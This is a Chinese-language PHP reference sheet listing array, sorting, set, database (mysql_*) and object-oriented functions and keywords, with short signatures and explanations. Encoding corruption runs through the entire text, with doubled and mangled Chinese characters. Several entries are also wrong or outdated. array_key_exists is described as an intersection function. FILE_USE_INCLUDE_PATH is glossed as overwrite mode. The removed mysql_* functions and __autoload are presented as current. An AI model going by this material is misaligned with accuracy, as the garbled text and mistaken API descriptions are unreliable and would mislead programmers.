array_filter  用回調(diào)函數(shù)過(guò)濾數(shù)組中的單元
array_slice   從數(shù)組中取出一段
  array array_slice($arr, $offset [,$len [,$preserve_keys]])
array_keys    返回?cái)?shù)組中所有的鍵名
  array array_keys(array $input[, mixed $search_value[, bool $strict]] )
  如果指定了可選參數(shù) search_value,則只返回該值的鍵名。否則input數(shù)組中的所有鍵名都會(huì)被返回。
array_values  返回?cái)?shù)組中所有的值,并建立數(shù)字索引

array_merge    合并一個(gè)或多個(gè)數(shù)組
  一個(gè)數(shù)組中的值附加在前一個(gè)數(shù)組的后面。
  如果輸入的數(shù)組中有相同的字符串鍵名,則該鍵名后面的值將覆蓋前一個(gè)值。
  如果數(shù)組包含數(shù)字鍵名,后面的值將不會(huì)覆蓋原來(lái)的值,而是附加到后面。
  如果只給了一個(gè)數(shù)組并且該數(shù)組是數(shù)字索引的,則鍵名會(huì)以連續(xù)方式重新索引。 
array_merge_recursive  遞歸地合并一個(gè)或多個(gè)數(shù)組

//搜索
in_array      檢查數(shù)組中是否存在某個(gè)值
  bool in_array(mixed $needle, array $haystack[, bool $strict])
array_key_exists  檢查給定的鍵名或索引是否存在于數(shù)組中
  isset()對(duì)于數(shù)組中為NULL的值不會(huì)返回TRUE,而 array_key_exists()會(huì)
array_search    在數(shù)組中搜索給定的值,如果成功則返回相應(yīng)的鍵名

array_combine  創(chuàng)建一個(gè)數(shù)組,用一個(gè)數(shù)組的值作為其鍵名,另一個(gè)數(shù)組的值作為其值
  如果兩個(gè)數(shù)組的單元數(shù)不同或者數(shù)組為空時(shí)返回FALSE。
array_rand    從數(shù)組中隨機(jī)取出一個(gè)或多個(gè)單元,返回鍵名或鍵名組成的數(shù)組,下標(biāo)是自然排序的
array_fill   用給定的值填充數(shù)組
  array_fill($start, $num, $value)
array_flip   交換數(shù)組中的鍵和值
array_pad    用值將數(shù)組填補(bǔ)到指定長(zhǎng)度
array_reverse  返回一個(gè)單元順序相反的數(shù)組
array_unique  移除數(shù)組中重復(fù)的值
array_splice  把數(shù)組中的一部分去掉并用其它值取代

implode      將數(shù)組元素值用某個(gè)字符串連接成字符串
explode($delimiter, $str [,$limit])  //使用一個(gè)字符串分割另一個(gè)字符串
  $delimiter不能為空字符串""

array_map    將回調(diào)函數(shù)作用到給定數(shù)組的單元上,只能處理元素值,可以處理多個(gè)數(shù)組
  如果callback參數(shù)設(shè)為null,則合并多個(gè)數(shù)組為一個(gè)多維數(shù)組
array_walk    對(duì)數(shù)組中的每個(gè)成員應(yīng)用用戶函數(shù),只能處理一個(gè)數(shù)組,鍵和值均可處理,與foreach功能相同
  bool array_walk ( array &$array , callback $funcname [, mixed $userdata ] )

//棧:后進(jìn)先出
入棧和出棧會(huì)重新分配索引下標(biāo)
array_push    將一個(gè)或多個(gè)單元壓入數(shù)組的末尾(入棧)
array_pop    將數(shù)組最后一個(gè)單元彈出(出棧)    使用此函數(shù)后會(huì)重置(reset())array 指針。

//隊(duì)列:先進(jìn)先出
隊(duì)列函數(shù)會(huì)重新分配索引下標(biāo)
array_unshift  在數(shù)組開(kāi)頭插入一個(gè)或多個(gè)單元
array_shift    將數(shù)組開(kāi)頭的單元移出數(shù)組      使用此函數(shù)后會(huì)重置(reset())array 指針。

//排序函數(shù)
sort      對(duì)數(shù)組排序
rsort      對(duì)數(shù)組逆向排序
asort      對(duì)數(shù)組進(jìn)行排序并保持索引關(guān)系
arsort      對(duì)數(shù)組進(jìn)行逆向排序并保持索引關(guān)系
ksort      對(duì)數(shù)組按照鍵名排序
krsort      對(duì)數(shù)組按照鍵名逆向排序
usort      使用用戶自定義的比較函數(shù)對(duì)數(shù)組中的值進(jìn)行排序
uksort      使用用戶自定義的比較函數(shù)對(duì)數(shù)組中的鍵名進(jìn)行排序
uasort      使用用戶自定義的比較函數(shù)對(duì)數(shù)組中的值進(jìn)行排序并保持索引關(guān)聯(lián)
natsort      用用“自然排序”算法對(duì)數(shù)組排序
natcasesort    用“自然排序”算法對(duì)數(shù)組進(jìn)行不區(qū)分大小寫(xiě)字母的排序
array_multisort 對(duì)多個(gè)數(shù)組或多維數(shù)組進(jìn)行排序
shuffle      將數(shù)組打亂
  引用傳遞參數(shù),返回bool值。
  重新賦予索引鍵名,刪除原有鍵名

//差集
array_udiff_assoc  帶索引檢查計(jì)算數(shù)組的差集,用回調(diào)函數(shù)比較數(shù)據(jù)
array_udiff_uassoc 帶索引檢查計(jì)算數(shù)組的差集,用回調(diào)函數(shù)比較數(shù)據(jù)和索引
array_udiff     用回調(diào)函數(shù)比較數(shù)據(jù)來(lái)計(jì)算數(shù)組的差集
array_diff_assoc  帶索引檢查計(jì)算數(shù)組的差集
array_diff_key   使用鍵名比較計(jì)算數(shù)組的差集
array_diff_uassoc  用用戶提供的回調(diào)函數(shù)做索引檢查來(lái)計(jì)算數(shù)組的差集
array_diff_ukey   用回調(diào)函數(shù)對(duì)鍵名比較計(jì)算數(shù)組的差集
array_diff     計(jì)算數(shù)組的差集
//交集
array_intersect_assoc 帶索引檢查計(jì)算數(shù)組的交集
array_intersect_key 使用鍵名比較計(jì)算數(shù)組的交集
array_intersect_uassoc 帶索引檢查計(jì)算數(shù)組的交集,用回調(diào)函數(shù)比較索引
array_intersect_ukey 用回調(diào)函數(shù)比較鍵名來(lái)計(jì)算數(shù)組的交集
array_intersect 計(jì)算數(shù)組的交集
array_key_exists 用回調(diào)函數(shù)比較鍵名來(lái)計(jì)算數(shù)組的交集
array_uintersect_assoc 帶索引檢查計(jì)算數(shù)組的交集,用回調(diào)函數(shù)比較數(shù)據(jù)
array_uintersect 計(jì)算數(shù)組的交集,用回調(diào)函數(shù)比較數(shù)據(jù)

extract($arr [,$type [,$prefix]])  從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號(hào)表(接受結(jié)合數(shù)組$arr作為參數(shù)并將鍵名當(dāng)作變量名,值作為變量的值)
compact($var [,...])  建立一個(gè)數(shù)組,包括變量名和它們的值(變量名成為鍵名而變量的內(nèi)容成為該鍵的值)




/* 【偽類(lèi)型】 */
mixed    說(shuō)明一個(gè)參數(shù)可以接受多種不同的(但并不必須是所有的)類(lèi)型。
number    說(shuō)明一個(gè)參數(shù)可以是 integer 或者 float。
callback  回調(diào)函數(shù)
void    void作為返回類(lèi)型意味著函數(shù)的返回值是無(wú)用的。
      void作為參數(shù)列表意味著函數(shù)不接受任何參數(shù)。


/* 【數(shù)據(jù)庫(kù)操作】 */
#連接認(rèn)證
mysql_connect    連接并認(rèn)證數(shù)據(jù)庫(kù)
#發(fā)送SQL語(yǔ)句,接收?qǐng)?zhí)行結(jié)果
mysql_query      發(fā)送SQL語(yǔ)句
    僅對(duì)select, show, explain, describe語(yǔ)句執(zhí)行成功返回一個(gè)資源標(biāo)識(shí)符,其他語(yǔ)句成功返回true。執(zhí)行失敗均返回false。
#處理結(jié)果
mysql_fetch_assoc  從結(jié)果集中取得一行作為關(guān)聯(lián)數(shù)組
    每次只取回一條,類(lèi)似each
  結(jié)果集中記錄指針
mysql_fetch_row    從結(jié)果集中取得一行作為枚舉數(shù)組
mysql_fetch_array  從結(jié)果集中取得一行作為關(guān)聯(lián)數(shù)組,或數(shù)字?jǐn)?shù)組,或二者兼有
  array mysql_fetch_array ( resource $result [, int $ result_type ] )
  可選參數(shù)result_type可選值為:MYSQL_ASSOC,MYSQL_NUM 和 MYSQL_BOTH(默認(rèn))
mysql_free_result  釋放結(jié)果內(nèi)存
#關(guān)閉鏈接
mysql_close      關(guān)閉連接


/* 【類(lèi)和對(duì)象】 */
# 成員:
  類(lèi)成員:類(lèi)常量、靜態(tài)屬性、靜態(tài)方法
  對(duì)象成員:非靜態(tài)屬性、非靜態(tài)方法
  # 除此外,類(lèi)不能包含任何其他東西?。?!

# 類(lèi)名、方法名、屬性名均不區(qū)分大小寫(xiě)
# $this代表本對(duì)象,self代表本類(lèi),parent代表父類(lèi)
# 類(lèi)和函數(shù)均可被事先編譯(僅作為最外層時(shí))
# 類(lèi)的定義必須在單一的PHP區(qū)塊內(nèi),不能被多個(gè)PHP標(biāo)簽分割

// 構(gòu)造方法
- 具有構(gòu)造函數(shù)的類(lèi)會(huì)在每次創(chuàng)建新對(duì)象時(shí)先調(diào)用此方法
void __construct([ mixed $args [, $... ]] )
- 構(gòu)造方法所需參數(shù)由new實(shí)例化對(duì)象時(shí),給類(lèi)增加參數(shù)值。
- 構(gòu)造方法也可以被手動(dòng)調(diào)用。
- 5.3.3版本以前,支持于類(lèi)名同名的方法作為構(gòu)造方法。
- 兩種沖突時(shí),__construct 優(yōu)先

// 析構(gòu)方法
- 析構(gòu)函數(shù)會(huì)在到某個(gè)對(duì)象的所有引用都被刪除或者當(dāng)對(duì)象被顯式銷(xiāo)毀時(shí)執(zhí)行。
void __destruct( void )
# 作用:釋放對(duì)象所占用的資源
# 調(diào)用的時(shí)機(jī) 
  - 腳本結(jié)束時(shí)所有資源均被釋放,包括對(duì)象
  - 手動(dòng)刪除對(duì)象時(shí)
  - 保存對(duì)象的變量被賦予新值時(shí)(任何值,包括null)
  - 在使用exit()終止腳本運(yùn)行時(shí)也會(huì)被調(diào)用

// 靜態(tài)成員(static關(guān)鍵字)
  - 聲明類(lèi)成員或方法為static,就可以不實(shí)例化類(lèi)而直接訪問(wèn)。
  - 靜態(tài)成員(屬性或方法)均屬于類(lèi),故不能通過(guò)$this或->訪問(wèn)。
  - 靜態(tài)成員是所有對(duì)象共享,屬于類(lèi)。
  - 靜態(tài)成員用類(lèi)調(diào)用,非靜態(tài)成員用對(duì)象調(diào)用。
# 靜態(tài)屬性
  - 靜態(tài)屬性不可以由對(duì)象通過(guò)->操作符來(lái)訪問(wèn)。
  - 靜態(tài)屬性只能被初始化為一個(gè)字符值或一個(gè)常量,不能使用表達(dá)式。 所以你可以把靜態(tài)屬性初始化為整型或數(shù)組,但不能指向另一個(gè)變量或函數(shù)返回值,也不能指向一個(gè)對(duì)象。
# 靜態(tài)方法
  - 由于靜態(tài)方法不需要通過(guò)對(duì)象即可調(diào)用,所以偽變量$this在靜態(tài)方法中不可用。
  - 用::方式調(diào)用一個(gè)非靜態(tài)方法會(huì)導(dǎo)致一個(gè)E_STRICT級(jí)別的錯(cuò)誤。

// 訪問(wèn)解析操作符(::)
  - 可以用于訪問(wèn)靜態(tài)成員、方法和常量,還可以用于覆蓋類(lèi)中的成員和方法。 
  - 當(dāng)在類(lèi)的外部訪問(wèn)這些靜態(tài)成員、方法和常量時(shí),必須使用類(lèi)的名字。 
  - self 和 parent 這兩個(gè)特殊的關(guān)鍵字是用于在類(lèi)的內(nèi)部對(duì)成員或方法進(jìn)行訪問(wèn)的。

// 訪問(wèn)辨析
- 對(duì)象成員,內(nèi)部通過(guò)$this指定,外部通過(guò)對(duì)象名指定,均用->訪問(wèn),訪問(wèn)屬性時(shí)不需加$。
  對(duì)象名->屬性名  對(duì)象名->方法名()  $this->屬性名    $this->方法名()
- 類(lèi)成員,內(nèi)部通過(guò)self或parent指定,外部通過(guò)類(lèi)名指定,均用::訪問(wèn),訪問(wèn)屬性時(shí)需加$。
  類(lèi)名::$屬性名  類(lèi)名::方法名()    self::$屬性名    self::方法名()
- 特殊:也可以通過(guò)對(duì)象訪問(wèn)類(lèi)成員。(不建議)
  對(duì)象名::$類(lèi)屬性名  $this::$類(lèi)屬性名  對(duì)象名::$類(lèi)方法名()  $this::類(lèi)方法名()
# 對(duì)象成員訪問(wèn)用->,類(lèi)成員訪問(wèn)用::

- 無(wú)論是靜態(tài)方法還是非靜態(tài)方法,均可通過(guò)類(lèi)或?qū)ο筮M(jìn)行訪問(wèn)。
- 靜態(tài)屬性通過(guò)類(lèi)訪問(wèn),靜態(tài)方法通過(guò)對(duì)象訪問(wèn)。
- 只有使用對(duì)象調(diào)用非靜態(tài)方法時(shí),$this才可以使用!
- 靜態(tài)方法不可使用$this。
- 類(lèi)可以調(diào)用對(duì)象方法,但注意方法內(nèi)不能有$this。
- 非靜態(tài)方法可以調(diào)用靜態(tài)屬性或靜態(tài)方法,反之不可以。

// 類(lèi)常量
- 常量的值將始終保持不變。
- 在定義和使用常量的時(shí)候不需要使用$符號(hào)。
- 常量的值必須是一個(gè)定值,不能是變量,類(lèi)屬性或其它操作(如函數(shù)調(diào)用)的結(jié)果。
# 定義:const 常量名 = 常量值;
- 不需要加public等訪問(wèn)修飾限定符
- 類(lèi)常量屬于類(lèi),使用類(lèi)訪問(wèn),類(lèi)名::類(lèi)常量 或 self::類(lèi)常量

// 自動(dòng)加載對(duì)象
- 在試圖使用尚未被定義的類(lèi)時(shí)自動(dòng)調(diào)用 __autoload 函數(shù)
- 自動(dòng)加載使用到的類(lèi)名文件(根據(jù)類(lèi)名找相應(yīng)名稱(chēng)的文件,故需類(lèi)名與類(lèi)文件名一致)
- 每個(gè)需要加載類(lèi)的文件都需要存在__autoload函數(shù)
- 將__autoload函數(shù)寫(xiě)入單獨(dú)的文件,每個(gè)需要用到類(lèi)的文件再require該函數(shù)文件
- __autoload 參數(shù)是類(lèi)名
function __autoload($class_name) {
  require_once $_SERVER["DOCUMENT_ROOT"] . "/class/$class_name.php";
}
  // $_SERVER["DOCUMENT_ROOT"] 當(dāng)前運(yùn)行腳本所在的文檔根目錄
- 可以通過(guò)類(lèi)名,來(lái)推導(dǎo)出類(lèi)所在的文件名!
- 如果一個(gè)項(xiàng)目存在多個(gè)自動(dòng)加載函數(shù)時(shí),定義一個(gè)可以完成加載的普通函數(shù),并在函數(shù)之前使用spl_autoload_register注冊(cè)該函數(shù)。
# spl_autoload_register
- 注冊(cè)__autoload()函數(shù)
bool spl_autoload_register ([ callback $autoload_function ] )
- 可以注冊(cè)多個(gè)自動(dòng)加載函數(shù),先注冊(cè)的先執(zhí)行
- 一旦注冊(cè)自動(dòng)加載函數(shù),__autoload就失效。
- 注冊(cè)函數(shù)時(shí),參數(shù)為函數(shù)名(注意加引號(hào));注冊(cè)方法時(shí),參數(shù)為數(shù)組
# 注冊(cè)類(lèi)或?qū)ο蟮姆椒樽詣?dòng)加載方法時(shí),參數(shù)需為數(shù)組:
spl_autoload_register(array(__CLASS__, '__autoload'));
__CLASS__表示當(dāng)前類(lèi)名,若是對(duì)象可用$this,詳細(xì)見(jiàn)手冊(cè)

// 序列化(串行化)
# 數(shù)據(jù)傳輸均是字符串類(lèi)型
# 除了資源類(lèi)型,均可序列化
# 序列化在存放數(shù)據(jù)時(shí),會(huì)存放數(shù)據(jù)本身,也會(huì)存放數(shù)據(jù)類(lèi)型
作用:1.在網(wǎng)絡(luò)傳輸數(shù)據(jù)時(shí);2.為了將數(shù)組或?qū)ο蠓旁诖疟P(pán)時(shí)
# 序列化
serialize    產(chǎn)生一個(gè)可存儲(chǔ)的值的表示
string serialize ( mixed $value )
- 返回字符串,此字符串包含了表示value的字節(jié)流,可以存儲(chǔ)于任何地方。
- 有利于存儲(chǔ)或傳遞 PHP 的值,同時(shí)不丟失其類(lèi)型和結(jié)構(gòu)。
# 反序列化
unserialize    從已存儲(chǔ)的表示中創(chuàng)建PHP的值
mixed unserialize ( string $str [, string $callback ] )
- 對(duì)單一的已序列化的變量進(jìn)行操作,將其轉(zhuǎn)換回PHP的值。


# 文件的讀寫(xiě)操作
- file_put_contents    將一個(gè)字符串寫(xiě)入文件
int file_put_contents($file, $data [,$flags])
  $flags:FILE_USE_INCLUDE_PATH(覆蓋),F(xiàn)ILE_APPEND(追加)
- file_get_contents    將整個(gè)文件讀入一個(gè)字符串
string file_get_contents($file [, bool $use_include_path [,int $offset [,int $maxlen]]])

# 對(duì)象序列化
- 只能序列化對(duì)象內(nèi)部的數(shù)據(jù),即非靜態(tài)屬性。
# 需在反序列化對(duì)象之前加載類(lèi),也可以觸發(fā)自動(dòng)加載機(jī)制。

__sleep    序列化需序列化的屬性。
    - 提交未提交的數(shù)據(jù),或類(lèi)似的清理操作,部分串行化對(duì)象。
    - 返回一個(gè)包含對(duì)象中所有應(yīng)被序列化的變量名稱(chēng)的數(shù)組
__wakeup  反序列化時(shí),預(yù)先準(zhǔn)備對(duì)象需要的資源
    - 重新建立數(shù)據(jù)庫(kù)連接,或執(zhí)行其它初始化操作
  public function __sleep() {
    return array('server', 'username', 'password', 'db');
  }
  public function __wakeup() {
    $this->connect();
  }

// 對(duì)象繼承
class 子類(lèi)名 extends 父類(lèi) {}
如果一個(gè)對(duì)象是子類(lèi)的對(duì)象,那么同時(shí)也是父類(lèi)的對(duì)象。
單繼承:一個(gè)類(lèi)只能繼承一個(gè)父類(lèi),不能同時(shí)繼承多個(gè)類(lèi)。但一個(gè)父類(lèi)可以被多個(gè)子類(lèi)繼承。

instanceof  判斷某對(duì)象是否為某類(lèi)的對(duì)象
  對(duì)象名 instanceof 類(lèi)名

// 訪問(wèn)控制
public    公有的(繼承鏈、本類(lèi)、外部均可訪問(wèn))
protected  保護(hù)的(僅繼承鏈、本類(lèi)可訪問(wèn))
private    私有的(僅本類(lèi)可訪問(wèn))
根據(jù)成員定義位置、訪問(wèn)位置判斷。
# 兼容性問(wèn)題
- 聲明屬性時(shí),var關(guān)鍵字聲明的默認(rèn)為public權(quán)限
- 聲明方法時(shí),省略訪問(wèn)修飾符,默認(rèn)為public權(quán)限

// 重寫(xiě) override
$this代表本對(duì)象,被誰(shuí)調(diào)用,就代表哪個(gè)對(duì)象。
- 繼承時(shí),子類(lèi)成員名于父類(lèi)成員名發(fā)生沖突,則子類(lèi)成員會(huì)重寫(xiě)父類(lèi)成員。
- 屬性和方法均可被子類(lèi)重寫(xiě)。
- 當(dāng)父類(lèi)的方法或?qū)傩砸呀?jīng)不滿足子類(lèi)的需求,則需要重寫(xiě)。
- 也可能因?yàn)槊灰?guī)范導(dǎo)致重寫(xiě)。

私有屬性不能被重寫(xiě),每個(gè)私有屬性都會(huì)被記錄。在記錄屬性名的同時(shí),還會(huì)記錄類(lèi)。

如果有內(nèi)置函數(shù)被重寫(xiě),則可調(diào)用父類(lèi)方法。如調(diào)用父類(lèi)構(gòu)造方法parent::__construct()

# 重寫(xiě)限制
訪問(wèn)限制:
  子類(lèi)的成員的訪問(wèn)控制必須相等或弱于父類(lèi)。
方法參數(shù)限制:
  參數(shù)數(shù)量必須相同,參數(shù)名可不同。

# $this確定原則
$this為調(diào)用該方法的對(duì)象,表示該方法的執(zhí)行環(huán)境對(duì)象。
  - 對(duì)象調(diào)用
  - 環(huán)境的傳遞。如果當(dāng)前調(diào)用時(shí),不能確定$this的值(靜態(tài)調(diào)用),此時(shí)靜態(tài)調(diào)用所處對(duì)象環(huán)境會(huì)傳遞到被調(diào)用的方法內(nèi)。
$this并非永遠(yuǎn)代表本對(duì)象,而是由方法的執(zhí)行環(huán)境決定。

# final
如果父類(lèi)中的方法被聲明為final,則子類(lèi)無(wú)法覆蓋(重寫(xiě))該方法。
如果一個(gè)類(lèi)被聲明為final,則不能被繼承。
但加有final關(guān)鍵字的類(lèi)依舊能被實(shí)例化!
# 抽象類(lèi)
關(guān)鍵字:abstract
抽象類(lèi)不能直接被實(shí)例化,必須先繼承該抽象類(lèi),然后再實(shí)例化子類(lèi)。
抽象類(lèi)中至少要包含一個(gè)抽象方法。非抽象類(lèi)不能包含抽象方法。
如果類(lèi)方法被聲明為抽象的,那么其中就不能包括具體的功能實(shí)現(xiàn)。抽象方法不能包含大括號(hào)及方法體。
繼承一個(gè)抽象類(lèi)的時(shí)候,子類(lèi)必須實(shí)現(xiàn)抽象類(lèi)中的所有抽象方法。
  即,子類(lèi)必須重寫(xiě)抽象父類(lèi)中的所有抽象方法。
另外,這些方法的可見(jiàn)性必須和抽象類(lèi)中一樣(或者更為寬松)。
  即,如果抽象類(lèi)中某個(gè)抽象方法被聲明為protected,那么子類(lèi)中實(shí)現(xiàn)的方法就應(yīng)該聲明為protected或者public,而不能定義為private。
- 抽象類(lèi)的子類(lèi)中的普通方法執(zhí)行方式和其他類(lèi)相同。
- 作用:
  1. 繼承,為擴(kuò)展類(lèi),統(tǒng)一公共操作。
  2. 限制結(jié)構(gòu)(規(guī)范)。規(guī)范子類(lèi)的結(jié)構(gòu)。

// 接口
關(guān)鍵字:interface
- 對(duì)象提供的與對(duì)象交互的方式就是接口。
- 使用接口可以指定某個(gè)類(lèi)必須實(shí)現(xiàn)哪些方法,但不需要定義這些方法的具體內(nèi)容。
- 通過(guò)interface來(lái)定義一個(gè)接口,就像定義一個(gè)標(biāo)準(zhǔn)的類(lèi)一樣,但其中定義所有的方法都是空的。 
- 接口中定義的所有屬性和方法都必須是public,可省略public關(guān)鍵字。
- 接口中也可以定義常量(const)。接口常量和類(lèi)常量的使用完全相同。
  可以用::訪問(wèn)。接口名::常量名,實(shí)現(xiàn)類(lèi)::常量名。
  它們都是定值,可以被子類(lèi)或子接口使用,但不能修改。
- 接口不能定義屬性!
# 定義接口
interface 接口名 {
  接口內(nèi)容(公共方法聲明的集合)
}
# 接口實(shí)現(xiàn)
- 要實(shí)現(xiàn)一個(gè)接口,可以使用implements操作符。
- 類(lèi)中必須實(shí)現(xiàn)接口中定義的所有方法,否則會(huì)報(bào)一個(gè)fatal錯(cuò)誤。
- 如果要實(shí)現(xiàn)多個(gè)接口,可以用逗號(hào)來(lái)分隔多個(gè)接口的名稱(chēng)。
- 實(shí)現(xiàn)多個(gè)接口時(shí),接口中的方法不能有重名。
- 接口也可以繼承,通過(guò)使用extends操作符。
class 類(lèi)名 implements 接口名 {
  接口方法的實(shí)現(xiàn)
}
# 注意
  1. 類(lèi)與抽象類(lèi)之間是繼承關(guān)系,類(lèi)與接口之間是實(shí)現(xiàn)關(guān)系。
  2. 類(lèi)與抽象類(lèi)是單繼承,類(lèi)與接口是多實(shí)現(xiàn)。
  3. 接口不是類(lèi),限制類(lèi)的結(jié)構(gòu)。
  4. 接口與接口之間是多繼承。用extends關(guān)鍵字。
    interface I_C extends I_A, I_B {}

// 靜態(tài)延遲綁定
self::,代表本類(lèi)(當(dāng)前代碼所在類(lèi))
  永遠(yuǎn)代表本類(lèi),因?yàn)樵陬?lèi)編譯時(shí)已經(jīng)被確定。
  即,子類(lèi)調(diào)用父類(lèi)方法,self卻不代表調(diào)用的子類(lèi)。
static::,代表本類(lèi)(調(diào)用該方法的類(lèi))
  用于在繼承范圍內(nèi)引用靜態(tài)調(diào)用的類(lèi)。
  運(yùn)行時(shí),才確定代表的類(lèi)。
  static::不再被解析為定義當(dāng)前方法所在的類(lèi),而是在實(shí)際運(yùn)行時(shí)計(jì)算的。

// 對(duì)象的遍歷(迭代)
- 對(duì)象通過(guò)屬性保存數(shù)據(jù),故遍歷對(duì)象的屬性。
- foreach語(yǔ)言結(jié)構(gòu),獲得屬性名和屬性值。
  foreach ($obj as $p_name => $p_value) {}
# 自定義遍歷(迭代器Iterator)
Iterator - 可在內(nèi)部迭代自己的外部迭代器或類(lèi)的接口
Iterator::current  — 返回當(dāng)前元素
Iterator::key    — 返回當(dāng)前元素的鍵
Iterator::next    — 向前移動(dòng)到下一個(gè)元素
Iterator::rewind  — 返回到迭代器的第一個(gè)元素
Iterator::valid    — 檢查當(dāng)前位置是否有效

# 對(duì)象的克隆
//對(duì)象之間的傳值是[引用]傳遞。
克?。盒聦?duì)象 = clone 舊對(duì)象
  - 所有的引用屬性仍然會(huì)是一個(gè)指向原來(lái)的變量的引用。 
__clone()方法在對(duì)象被克隆時(shí)自動(dòng)調(diào)用。
注意:構(gòu)造方法對(duì)應(yīng)實(shí)例化(new),克隆方法對(duì)應(yīng)克隆(clone)。

// 單例模式
#三私一公
單例模式(Singleton)用于為一個(gè)類(lèi)生成一個(gè)唯一的對(duì)象。最常用的地方是數(shù)據(jù)庫(kù)連接。使用單例模式生成一個(gè)對(duì)象后,該對(duì)象可以被其它眾多對(duì)象所使用。
# 防止一個(gè)類(lèi)被實(shí)例化多次
class MySQLDB {
  private static $instance = null; // 存類(lèi)實(shí)例在此屬性中
  // 構(gòu)造方法聲明為private,防止直接創(chuàng)建對(duì)象
  private function __construct() {}
  public static function getInstance() {
    if(! self::$instance instanceof static) {
      self::$instance = new static;
    }
    return self::$instance;
  }
  private function __clone() {} // 阻止用戶復(fù)制對(duì)象實(shí)例
}

// 魔術(shù)方法
__construct    構(gòu)造方法
__destruct    析構(gòu)方法
__clone      克隆對(duì)象
__sleep      序列化對(duì)象
__wakeup    反序列化對(duì)象
__autoload    自動(dòng)加載,使用類(lèi)但未找到時(shí)

__toString    對(duì)象被當(dāng)作字符串使用時(shí)
__invoke    當(dāng)嘗試以調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)

# 重載 overload
指動(dòng)態(tài)地"創(chuàng)建"類(lèi)屬性和方法
用戶可以自由的為對(duì)象添加額外的屬性,該特性就是重載。
所有的重載方法都必須被聲明為public。
當(dāng)調(diào)用當(dāng)前環(huán)境下未定義或不可見(jiàn)的類(lèi)屬性或方法時(shí),重載方法會(huì)被調(diào)用。
重載相關(guān)魔術(shù)方法的參數(shù)都不能通過(guò)引用傳遞。
# 屬性重載
- 處理不可訪問(wèn)的屬性
屬性重載只能在對(duì)象中進(jìn)行。
# 屬性重載對(duì)于靜態(tài)屬性無(wú)效
在靜態(tài)方法中,這些魔術(shù)方法將不會(huì)被調(diào)用。所以這些方法都不能被聲明為static。
__set    在給不可訪問(wèn)的屬性賦值時(shí)
  public void __set(string $name, mixed $value)
  作用:批量管理私有屬性,間接保護(hù)對(duì)象結(jié)構(gòu)
__get    讀取不可訪問(wèn)的屬性的值時(shí)
  public mixed __get(string $name)
__isset    當(dāng)對(duì)不可訪問(wèn)的屬性調(diào)用isset()或empty()時(shí)
  public bool __isset(string $name)
__unset    當(dāng)對(duì)不可訪問(wèn)的屬性調(diào)用unset()時(shí)
  public void __unset(string $name)
# 方法重載
- 處理不可訪問(wèn)的方法
__call      當(dāng)調(diào)用一個(gè)不可訪問(wèn)的非靜態(tài)方法(如未定義,或者不可見(jiàn))時(shí)自動(dòng)被調(diào)用
    public mixed __call(string $name, array $arguments)
__callStatic  當(dāng)在調(diào)用一個(gè)不可訪問(wèn)的靜態(tài)方法(如未定義,或者不可見(jiàn))時(shí)自動(dòng)被調(diào)用
    public static mixed __callStatic(string $name, array $arguments)
# $name參數(shù)是要調(diào)用的方法名稱(chēng)。$arguments參數(shù)是一個(gè)數(shù)組,包含著要傳遞給方法的參數(shù)。

// 類(lèi)型約束
函數(shù)的參數(shù)可以指定只能為對(duì)象或數(shù)組
限定為對(duì)象則在形參前加類(lèi)名,限定為數(shù)組則在形參前加array
類(lèi)型約束允許NULL值
類(lèi)型約束不只是用在類(lèi)的成員方法里,也能使用在函數(shù)里。 

// 三大特性
封裝:隱藏內(nèi)部是吸納,僅開(kāi)發(fā)接口。
繼承:一個(gè)對(duì)象的成員被另一個(gè)對(duì)象所使用。語(yǔ)法上體現(xiàn)為代碼的共用。
多態(tài):多種形態(tài)。

// 類(lèi)與對(duì)象·關(guān)鍵字
this    代表本對(duì)象
public    公有的(繼承鏈、本類(lèi)、外部均可訪問(wèn))
protected  保護(hù)的(僅繼承鏈、本類(lèi)可訪問(wèn))
private    私有的(僅本類(lèi)可訪問(wèn))
parent::  代表父類(lèi)
self::    代表本類(lèi)(當(dāng)前代碼所在類(lèi))
static::  代表本類(lèi)(調(diào)用該方法的類(lèi))
static    靜態(tài)成員(屬性、方法),所有對(duì)象均可使用,外部也可直接使用或修改,靜態(tài)方法不可訪問(wèn)非靜態(tài)成員
final    方法用final不可被子類(lèi)重載,類(lèi)用final不可被繼承(方法、類(lèi))
const    類(lèi)常量(屬性)
abstract  抽象類(lèi)
interface  接口
extends    類(lèi)繼承(子接口繼承接口、其他普通類(lèi)繼承)
implements  接口實(shí)現(xiàn)(類(lèi)實(shí)現(xiàn)接口、抽象類(lèi)實(shí)現(xiàn)借口)(對(duì)接口的實(shí)現(xiàn)和繼承均可有多個(gè))
Iterator  內(nèi)置接口(迭代)
clone    克隆
instance  實(shí)例
instanceof  某對(duì)象是否屬于某類(lèi)

/* 【類(lèi)與對(duì)象相關(guān)函數(shù)】 */
class_alias([$original [,$alias]]) 給類(lèi)取別名
class_exists($class [,$autoload])  檢查類(lèi)是否已定義
interface_exists($interface [,$autoload])  檢查接口是否已被定義
method_exists($obj, $method)檢查類(lèi)的方法是否存在
property_exists($class, $property) 檢查對(duì)象或類(lèi)是否具有該屬性
get_declared_classes(void) 返回由已定義類(lèi)的名字所組成的數(shù)組
get_declared_interfaces(void)  返回一個(gè)數(shù)組包含所有已聲明的接口
get_class([$obj])    返回對(duì)象的類(lèi)名
get_parent_class([$obj])  返回對(duì)象或類(lèi)的父類(lèi)名
get_class_methods($class)  返回由類(lèi)的方法名組成的數(shù)組
get_object_vars($obj)  返回由對(duì)象屬性組成的關(guān)聯(lián)數(shù)組
get_class_vars($class) 返回由類(lèi)的默認(rèn)屬性組成的數(shù)組
is_a($obj, $class) 如果對(duì)象屬于該類(lèi)或該類(lèi)是此對(duì)象的父類(lèi)則返回TRUE
is_subclass_of($obj, $class)  如果此對(duì)象是該類(lèi)的子類(lèi),則返回TRUE
get_object_vars($obj)  返回由對(duì)象屬性組成的關(guān)聯(lián)數(shù)組


// 常用類(lèi)
# PHP手冊(cè) -> 預(yù)定義類(lèi)
Closure    閉包類(lèi),匿名函數(shù)對(duì)象的final類(lèi)
stdClass  標(biāo)準(zhǔn)類(lèi),通常用于對(duì)象類(lèi)保存集合數(shù)據(jù)
__PHP_Incomplete_Class    不完整類(lèi),當(dāng)只有對(duì)象而沒(méi)有找到類(lèi)時(shí),則該對(duì)象被認(rèn)為是該類(lèi)的對(duì)象
Exception  異常類(lèi)
PDO      數(shù)據(jù)對(duì)象類(lèi)

// 魔術(shù)常量
__DIR__      文件所在的目錄
__LINE__    文件中的當(dāng)前行號(hào) 
